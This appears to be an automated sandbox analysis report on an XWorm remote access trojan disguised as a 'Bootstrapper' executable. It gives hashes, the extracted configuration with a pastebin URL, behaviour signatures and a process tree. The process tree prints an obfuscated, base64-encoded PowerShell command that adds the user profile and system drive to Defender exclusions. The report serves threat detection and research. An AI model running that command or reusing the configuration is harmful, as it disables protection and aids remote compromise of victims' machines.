Analysis
-
max time kernel
93s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
-
submitted
04/03/2025, 21:46
General
-
Target
Y1138_BootstrapperNew.exe
-
Size
2.9MB
-
MD5
ec8002f20ee00ec84138608ebb7d5154
-
SHA1
d77b5dfa71bf3b48e351d69a6b251c21c8650d0d
-
SHA256
9376c048648b422f2e84397e969f9d403a4fa6d30c2aabdaba2880e09761f28f
-
SHA512
3ee7644cea6fef18cc17f8a0a46408bdb2897fa2da7808e5bc8563786f3a529b2c57141123e2d29eaba03061273ca28d3b3d3ae5758089ce2d4d6a992d661487
-
SSDEEP
49152:gUcNWu+5IYryMRbEKRWomDRtL38nmVu4+0R/1nnBsfwGGQCEnNNemNznrYWfym//:gUD15XNRbVRWomDRtrbrNnnsbGQCEnNP
Malware Config
Extracted
xworm
-
Install_directory
%port%
-
install_file
svchost.exe
-
pastebin_url
https://pastebin.com/raw/GMv8QPCE
Signatures
-
Detect Xworm Payload 2 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Y1138_BootstrapperNew.exe"C:\Users\Admin\AppData\Local\Temp\Y1138_BootstrapperNew.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAeQBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAbQBkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAawBhACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\WMI Provider Host.exe"C:\Windows\WMI Provider Host.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\BootstrapperNew.exe"C:\Users\Admin\BootstrapperNew.exe"2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.9MB
MD5f227cdfd423b3cc03bb69c49babf4da3
SHA13db5a97d9b0f2545e7ba97026af6c28512200441
SHA256cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8
SHA512b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e
-
Filesize
57KB
MD57f4631cc67828fc55d6c8bd1af02bf44
SHA154d6e1c3e0b655d231d461e32d187c0f2338295d
SHA2565361c6e459fd49ee6a11f586c5dd3a2626f1338cdc4ce661287f48966451a6dd
SHA512f931f8bde5aa6c2d528031fd5505eb6a0044edddcd1c5798ef762102e8d59e5701087259258d5cc15fea59e1e199f2c870fa95ad748a8e20680096cc4d62c348
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
10.8MB
-
Filesize
32KB
-
Filesize
224KB
-
Filesize
40KB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
2.9MB
-
Filesize
152KB
-
Filesize
32KB
-
Filesize
64KB
-
Filesize
88KB
-
Filesize
32KB
-
Filesize
40KB
-
Filesize
56KB
-
Filesize
652KB
-
Filesize
4KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
216KB
-
Filesize
200KB
-
Filesize
120KB
-
Filesize
3.3MB
-
Filesize
304KB
-
Filesize
104KB
-
Filesize
6.5MB
-
Filesize
40KB
-
Filesize
600KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
64KB
-
Filesize
80KB
-
Filesize
8KB